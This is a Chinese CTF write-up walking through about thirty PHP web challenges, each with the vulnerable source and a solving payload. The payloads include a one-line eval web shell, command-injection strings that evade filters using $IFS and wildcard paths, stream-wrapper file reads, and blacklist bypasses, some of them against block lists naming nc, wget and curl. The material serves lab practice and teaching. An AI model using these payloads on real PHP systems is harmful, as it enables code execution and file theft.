2021年第四季度-11月CTF-巅峰赛 解题思路

Track-子羽   ·   发表于 2021-12-09 20:22:02   ·   CTF&WP专版

CTF-52

源码分析

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. if(isset($_GET['num']))
  5. {
  6. $num = $_GET['num'];
  7. if($num==="4396"){
  8. die("no no no!");
  9. }
  10. if(intval($num,0)===4396){
  11. echo $flag;
  12. }
  13. else{
  14. echo intval($num,0);
  15. }
  16. }
  17. ?>

4396的八进制数
满足条件intval($num,0)===4396
就可以获取到flag
通过进制转换绕过 if($num===”4396”)
如果字符串包括了 “0x” 或“0X” 的前缀,则代表使用 16 进制 hex;
否则,如果字符串以 “0” 开始,使用 8 进制 octal;
否则,将使用 10 进制 decimal。
这里我以0开始,意思就是后面的数字将被以8进制的形式读取
把4396进行8进制转换

  1. payload:?num=010454

CTF-53

一道简单的正则

考察点:正则表达式修饰符
拓展php

  1. ^ 匹配字符串的开始
  2. i 不区分(ignore)大小写
  3. m (more)多行匹配
  4. 若存在换行\n并且有开始^或结束$符的情况下,
  5. 将以换行为分隔符,逐行进行匹配
  6. $ 匹配字符串的结束
  1. $str = "abc\nabc";
  2. $preg = "/^abc$/m";
  3. preg_match($preg, $str,$matchs);
  4. 这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
  1. A 强制从目标字符串开头匹配;
  2. D 如果使用$限制结尾字符,则不允许结尾有换行;
  3. e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

需要满足第一个匹配同时不满足第二匹配固定字符串”php”

  1. payload:?cmd=%0aphp

CTF-54

源码分析

  1. <?php
  2. include ("flag.php");
  3. highlight_file(__FILE__);
  4. if (isset($_GET['num'])) {
  5. $num = $_GET['num'];
  6. if ($num == 4476) {
  7. die("no no no!");
  8. }
  9. if (intval($num, 0) == 4476) {
  10. echo $flag;
  11. } else {
  12. echo intval($num, 0);
  13. }
  14. }
  15. ?>

这里使用的是 == 等号
所以可以将4476进行16进制转码

  1. payload: ?num=0x117c

CTF-55

源码分析

  1. <?php
  2. include ("flag.php");
  3. highlight_file(__FILE__);
  4. if (isset($_GET['num'])) {
  5. $num = $_GET['num'];
  6. if ($num === "4476") {
  7. die("no no no!");
  8. }
  9. if (preg_match("/[a-z]/i", $num)) {
  10. die("no no no!");
  11. }
  12. if (!strpos($num, "0")) {
  13. die("no no no!");
  14. }
  15. if(intval($num,0)===4476){
  16. echo $flag;
  17. }
  18. }
  19. ?>

多了正则过滤之前的进制转换不可行了
但是我们可以利用小数4476.0 = 4476

  1. payload: ?num=4476.0

CTF-56

源码分析

  1. <?php
  2. highlight_file(__FILE__);
  3. $allow = array();
  4. for ($i = 36;$i < 0x36d;$i++) {
  5. array_push($allow, rand(1, $i));
  6. }
  7. if (isset($_GET['n']) && in_array($_GET['n'], $allow)) {
  8. file_put_contents($_GET['n'], $_POST['content']);
  9. }
  10. ?>

array_push 函数:向数组尾部插入一个或多个元素
这道题可以通过写入文件来读取flag或者直接getshell
rand 函数随机生成数组randmin,max
file_put_contents 函数:写入函数

  1. payloadGET:?n=hack.php
  2. POST传入的参数会写入到hack.php
  3. 二选一
  4. POST:
  5. content=<?php @eval($_REQUEST['hack']);?>
  6. POST:
  7. content=<?php system('cat flag.php');?>

CTF-57

源码分析

  1. <?php
  2. highlight_file(__FILE__);
  3. include ("flag.php");
  4. $flag = new flag();
  5. $v1 = $_GET['v1'];
  6. $v2 = $_GET['v2'];
  7. $v3 = $_GET['v3'];
  8. $v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
  9. if ($v0) {
  10. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)) {
  11. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)) {
  12. eval("$v2('flag')$v3");
  13. }
  14. }
  15. }
  16. ?>

这里牵扯到的是一个反射类的问题

php反射类 ReflectionClass使用例子

PHP的反射类ReflectionClass、ReflectionMethod使用实例

反射在 PHP 中的应用

反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句

其属性为类的一个名称,这道题目里面类的名称为flag

  1. payload:?v1=1&v2=echo new ReflectionClass&v3=;

举个例子

  1. php
  2. <?php
  3. class hacker{
  4. public $hackername = "hackhello";
  5. const hackhello='nb666';
  6. public function show(){
  7. echo $this->name,'<br>';
  8. }
  9. }
  10. //有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
  11. //现在我可以通过反射来获取这个类中的方法,属性,常量
  12. //通过反射获取类的信息
  13. $reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
  14. $consts = $reflection->getConstants();//获取所有常量
  15. $props = $reflection->getProperties();//获取所有属性
  16. $methods = $reflection->getMethods();//获取所有方法
  17. var_dump($consts);
  18. var_dump($props);
  19. var_dump($methods);
  20. ?>
  1. 返回值:
  2. php
  3. array(1) {
  4. ["hackhello"]=>
  5. string(5) "nb666"
  6. }
  7. array(1) {
  8. [0]=>
  9. &object(ReflectionProperty)#2 (2) {
  10. ["name"]=>
  11. string(10) "hackername"
  12. ["class"]=>
  13. string(6) "hacker"
  14. }
  15. }
  16. array(1) {
  17. [0]=>
  18. &object(ReflectionMethod)#3 (2) {
  19. ["name"]=>
  20. string(4) "show"
  21. ["class"]=>
  22. string(6) "hacker"
  23. }
  24. }

如果没有指定方法的话,就会像题目中默认输出很多东西:

1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法

CTF-58

源码分析

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. if (isset($_GET['v1']) && isset($_GET['v2'])) {
  5. $v1 = $_GET['v1'];
  6. $v2 = $_GET['v2'];
  7. if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)) {
  8. die("error v1");
  9. }
  10. if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)) {
  11. die("error v2");
  12. }
  13. eval("echo new $v1($v2());");
  14. }
  15. ?>

利用FilesystemIterator获取目录文件FilesystemIterator

getcwd函数取得当前工作目录getcwd函数

  1. playloadv1=FilesystemIterator&v2=getcwd

得到当前目录的第一个FLAG文件名字,然后访问该文件即可。
缺陷:只能获取第一个文件名字

CTF-59

源码分析

  1. <?php
  2. if(isset($_GET['file'])){
  3. $file=$_GET['file'];
  4. $content = file_get_contents($file);
  5. if(preg_match('/flag/',$content)){
  6. echo "hacker!";
  7. }else{
  8. echo $content;
  9. }
  10. }else{
  11. highlight_file(__FILE__);
  12. }
  13. ?>

因为过滤了flag字符
所以普通伪协议读不出来
所以先进行一次base64编码再读出来

CTF-60

源码解析

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. function filter($file) {
  5. if (preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i', $file)) {
  6. die('hacker!');
  7. } else {
  8. return $file;
  9. }
  10. }
  11. $file = $_GET['file'];
  12. if (!is_file($file)) {
  13. highlight_file(filter($file));
  14. } else {
  15. echo "hacker!";
  16. }
  17. ?>

因为过滤了filter只能换一种读取方式了
利用读取压缩流

  1. payload:?file=compress.zlib://flag.php

CTF-61

源码解析

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include ("flag.php");
  5. $a = $_SERVER['argv'];
  6. $c = $_POST['fun'];
  7. if (isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) && !isset($_GET['fl0g'])) {
  8. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c) && $c <= 18) {
  9. eval("$c" . ";");
  10. if ($fl0g === "flag_give_me") {
  11. echo $flag;
  12. }
  13. }
  14. }
  15. ?>

此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了
such as:CTF[SHOW.COM=>CTF_SHOW.COM

  1. payloadCTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

CTF-62

源码解析

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include ("flag.php");
  5. $a = $_SERVER['argv'];
  6. $c = $_POST['fun'];
  7. if (isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) && !isset($_GET['fl0g'])) {
  8. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c) && $c <= 16) {
  9. eval("$c" . ";");
  10. if ($fl0g === "flag_give_me") {
  11. echo $flag;
  12. }
  13. }
  14. }
  15. ?>

$argv:传递给脚本的参数数组

详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别

$_SERVER[‘argv’]:

1、cli模式(命令行)下

  1. 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

  1. web页模式下必须在php.ini开启register_argc_argv配置项
  2. 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
  3. 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
  4. $argv,$argcweb模式下不适用

我们是在网页模式下的,注意重点:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句

举个例子

?$fl0g=flag_give_me
$a[0]=$_SERVER[‘argv’][0]=$_SERVER[‘QUERY_STRING’]=>$fl0g=flag_give_me

  1. payload
  2. POSTCTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
  3. GET:?$fl0g=flag_give_me;
  4. POSTCTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])
  5. GET:?1=flag.php

CTF-64

将16进制转换成字符得到
一段c语言代码执行后可以得到文件路径
再传入参数路径读取flag文件

  1. payload:
  2. ?f=flagx/flagx1/flagx2/flagx3/flag.php

CTF-65

源码分析

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if($F = @$_GET['F']){
  5. if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
  6. eval(substr($F,0,6));
  7. } else{
  8. die("冲啊,flag就在flag.php里头,把它拿下!");
  9. }
  10. }
  11. ?>

利用的是cp命令
把flag.php文件的内容拷贝到666.txt里面

  1. payload:
  2. ?F=`$F` ;cp flag.php 666.txt
  3. ?F=`$F` ;nl flag.php>666.txt
  4. ?F=`$F` ;mv flag.php 666.txt

CTF-66

源码分析

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class hello {
  5. function __wakeup(){
  6. die("private class");
  7. }
  8. static function getFlag(){
  9. echo file_get_contents("flag.php");
  10. }
  11. }
  12. call_user_func($_POST['hello']);

调用类中函数,需要调用静态类

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法

  1. PSOT传入
  2. payloadhello=hello::getFlag

CTF-67

源码分析

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class hello {
  5. function __wakeup(){
  6. die("private class");
  7. }
  8. static function getFlag(){
  9. echo file_get_contents("flag.php");
  10. }
  11. }
  12. if(strripos($_POST['hello'], ":")>-1){
  13. die("private function");
  14. }
  15. call_user_func($_POST['hello']);

php特性:考察了call_user_func用数组形式调用类方法

详看:根据方法名调用call_user_func详解

php
call_user_func(array($classname, ‘say_hello’));
调用classname这个类里的sya_hello方法

array[0]=$classname 类名
array[1]=say_hello say_hello()方法
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。

  1. payloadhello[0]=hello&hello[1]=getFlag

CTF-68

保存图片
用编辑打开可以看到里面的源码

  1. <?php
  2. if (isset($_GET['cmd'])) {
  3. $cmd = $_GET['cmd'];
  4. if (!preg_match('/flag/i',$cmd))
  5. {
  6. var_dump(system('cat ' . $cmd));
  7. }
  8. } else {
  9. echo 'hello!';
  10. }
  11. ?>
  1. payload:?cmd=*.php

CTF-69

一道培根加密题
培根加解密
http://www.hiencode.com/baconian.html
进行解密获得flag
flaggfkqpwepxqmvlwoq

CTF-70

双重加密题
先进行了莫斯电码加密再进行培根加密
按顺序解密就行
莫斯电码加解密
http://www.all-tool.cn/Tools/morse/?&rand=543a5f6f0bec4482aa361eccf2814626

培根加解密
http://www.hiencode.com/baconian.html

进行解密获得flag
flagopophellohackthisoneflagniceo

CTF-71

一道双重编码题
先进行了16进制编码再进行base64编
先16进制解码,再把base64编码转换成图片
16进制编解码
http://www.hiencode.com/hex.html

base64编解码
http://tool.chinaz.com/tools/imgtobase/

还原出图片后扫码获得flag
flag{ASQW2130DSFJHKLJL}

CTF-72

  1. <?php
  2. if(isset($_GET['url'])){
  3. system("curl https://".$_GET['url'].".ctf.GOOG");
  4. } else{
  5. show_source(__FILE__);
  6. }
  7. ?>

get传递参数必须要有URL,然后根据URL里面的内容在系统下自动执行curl命令,解题的巧妙之处在于采用分割符“;”,分开执行命令

  1. 构造:?url=1;ls;www
  2. 回显:flag.php index.php
  3. 继续构造:
  4. payload:?url=1;cat flag.php;www

CTF-73

源码分析

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag|system|php/i", $c)){
  6. eval($c);
  7. }
  8. } else{
  9. highlight_file(__FILE__);
  10. }
  11. ?>
  1. 绕过特殊字符过滤
  2. ?c=echo `tac fl?g.???`;
  3. ?c=echo exec('nl fl?g.???');
  4. ?c=echo shell_exec('nl fl?g.???');//此函数与反引号异曲同工
  5. ?c=echo passthru('nl fl?g.???');//当所执行的 Unix 命令输出二进制数据,需要直接传送到浏览器的时候,就用他来代替exec和system,调用命令自动去除部分符号:",\

CTF-74

源码分析

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag|system|php|cat|sort|shell|\.'/i", $c)){;
  6. eval($c);
  7. }
  8. } else{
  9. highlight_file(__FILE__);
  10. }
  11. ?>

考点:针对读取文件的命令进行了禁止,同时单引号、点和空格也没了

  1. payload:
  2. ?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
  3. ?c=print_r(`nl%09fl[abc]*`);
  4. ?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");
  5. //等价于system(),说明双引号会自动解析
  6. ?c=echo`strings%09f*`;
  7. //在对象文件或二进制文件中查找可打印的字符串

CTF-75

源码分析

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag|system|php|cat|sort|shell|\.|\'|\`|echo|\;|\(/i", $c)){
  6. eval($c);
  7. }
  8. } else{
  9. highlight_file(__FILE__);
  10. }
  1. payload
  2. ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

知识点:include可以不用括号,分号可以用?>代替

CTF-76

源码分析

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. system($c." >/dev/null 2>&1");
  5. } else{
  6. highlight_file(__FILE__);
  7. }
  1. 1:> 代表重定向到哪里,例如:echo 123 > /home/123.txt
  2. 2:/dev/null 代表空设备文件
  3. 32> 表示stderr标准错误
  4. 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
  5. 51 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 1>/dev/null
  6. 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1
  1. 语句执行过程为:
  2. 1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
  3. 2>&1 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
  1. 0表示键盘输入,1表示屏幕输出,2表示错误输出!
  2. > 默认标准输出重定向,与1>相同
  3. 2>&1 意思是把标准错误输出重定向到标准输出
  4. &>file 意思是把标准输出和标准错误输出都重定向到文件file

而我们想要得到输出,就不能让后面的进行执行,所以可以加上截断语句

  1. payload:
  2. ?c=cat flag.php||
  3. ?c=cat flag.php%26
  4. ?c=cat flag.php%26%26
  5. ?c=cat flag.php%0a
  6. ?c=cat flag.php;

CTF-77

源码分析

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/;|cat|flag| |[0-9]|\$|*/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. } else{
  8. highlight_file(__FILE__);
  9. }
  10. ?>

过滤了”/\;|cat|flag| |[0-9]|\$|*/i”用其他命令绕过

  1. > < <> 重定向符
  2. %09(需要php环境)
  3. ${IFS}
  4. $IFS$9
  5. $IFS\
  6. {cat,flag.php} //用逗号实现了空格功能
  7. %20
  8. %09
  1. payload:
  2. ?c=tac%09fla?.php||
  3. ?c=nl%09fla''g.php%0a
  4. ?c=more%09fl\ag.php%26

CTF-78

源码分析

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. } else{
  8. highlight_file(__FILE__);
  9. }
  10. ?>
  1. 适用条件:过滤了cat
  2. 1)more:一页一页的显示档案内容
  3. (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
  4. (3)head:查看头几行
  5. (4)tac:从最后一行开始显示,可以看出 tac cat 的反向显示
  6. (5)tail:查看尾几行
  7. (6)nl:显示的时候,顺便输出行号
  8. (7)od:以二进制的方式读取档案内容
  9. (8)vi:一种编辑器,这个也可以查看
  10. (9)vim:一种编辑器,这个也可以查看
  11. (10)sort:可以查看,将文件进行排序并输出
  12. (11)uniq:可以查看,报告或忽略文件中的重复行
  13. (12)file -f:报错出具体内容
  14. grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
  1. payload:
  2. ?c=uniq%09fla?.php%26
  3. ?c=od%09fl\ag.php%26%26
  4. ?c=vi%09fl\ag.php%26%26
  5. ?c=tac%09fl\ag.php||

CTF-79

源码分析

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|x09|x26|>|</i", $c)){
  5. system($c." >/dev/null 2>&1");
  6. }
  7. } else{
  8. highlight_file(__FILE__);
  9. }
  10. ?>
  1. 适用条件:过滤了cat
  2. 1)more:一页一页的显示档案内容
  3. (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
  4. (3)head:查看头几行
  5. (4)tac:从最后一行开始显示,可以看出 tac cat 的反向显示
  6. (5)tail:查看尾几行
  7. (6)nl:显示的时候,顺便输出行号
  8. (7)od:以二进制的方式读取档案内容
  9. (8)vi:一种编辑器,这个也可以查看
  10. (9)vim:一种编辑器,这个也可以查看
  11. (10)sort:可以查看,将文件进行排序并输出
  12. (11)uniq:可以查看,报告或忽略文件中的重复行
  13. (12)file -f:报错出具体内容
  14. grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
  1. payload:
  2. ?c=nl$IFS\fla?.php||
  3. ?c=nl$IFS\fla\g.php||

CTF-80

源码分析

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|x09|x26|>|</i", $c)){
  5. system($c);
  6. }
  7. } else{
  8. highlight_file(__FILE__);
  9. }
  10. ?>
  1. 适用条件:过滤了cat
  2. 1)more:一页一页的显示档案内容
  3. (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
  4. (3)head:查看头几行
  5. (4)tac:从最后一行开始显示,可以看出 tac cat 的反向显示
  6. (5)tail:查看尾几行
  7. (6)nl:显示的时候,顺便输出行号
  8. (7)od:以二进制的方式读取档案内容
  9. (8)vi:一种编辑器,这个也可以查看
  10. (9)vim:一种编辑器,这个也可以查看
  11. (10)sort:可以查看,将文件进行排序并输出
  12. (11)uniq:可以查看,报告或忽略文件中的重复行
  13. (12)file -f:报错出具体内容
  14. grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
  1. payload:
  2. ?c=vi$IFS????????
  3. 这个有效 ?c=uniq$IFS????????
  4. ?c=/bin/c??$IFS????????

CTF-81

flag是存在一张二维码中
这张图片是被另一张图片盖住了扫不到
但是查看源码可得知图片名

直接访问
/flag.png
查看到图片后扫描二维码获取到flag

flag: THIS_FLAG_PNG_XXX

CTF-82

源码分析

  1. <?php
  2. if(isset($_GET['c'])){
  3. $c=$_GET['c'];
  4. if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){
  5. system($c);
  6. }
  7. } else{
  8. highlight_file(__FILE__);
  9. }
  1. /bin目录
  2. binbinary的简写主要放置一些 系统的必备执行档
  3. 例如:catcpchmod dfdmesggzipkilllsmkdirmoremountrmsutarbase64

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

  1. payload
  2. ?c=/???/????64 ????.???

也就是

  1. /bin/base64 flag.php
  2. /usr/bin目录

主要放置一些应用软件工具的必备执行档

  1. 例如c++、g++、gccchdrvdiffdigduejectelmfreegnome*、 ziphtpasswdkfm
  2. ktoplastlesslocalem4makemanmcopyncftp newaliasesnslookup passwdquotasmb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

  1. paylaod
  2. 先?c=/???/???/????2 ????.???
  3. 然后在url后面加上/flag.php.bz2 下载文件
  4. http://xxxxxxxxxxxxxxxxxx/flag.php.bz2

打赏我,让我更有动力~

0 条回复   |  直到 2021-12-9 | 2641 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.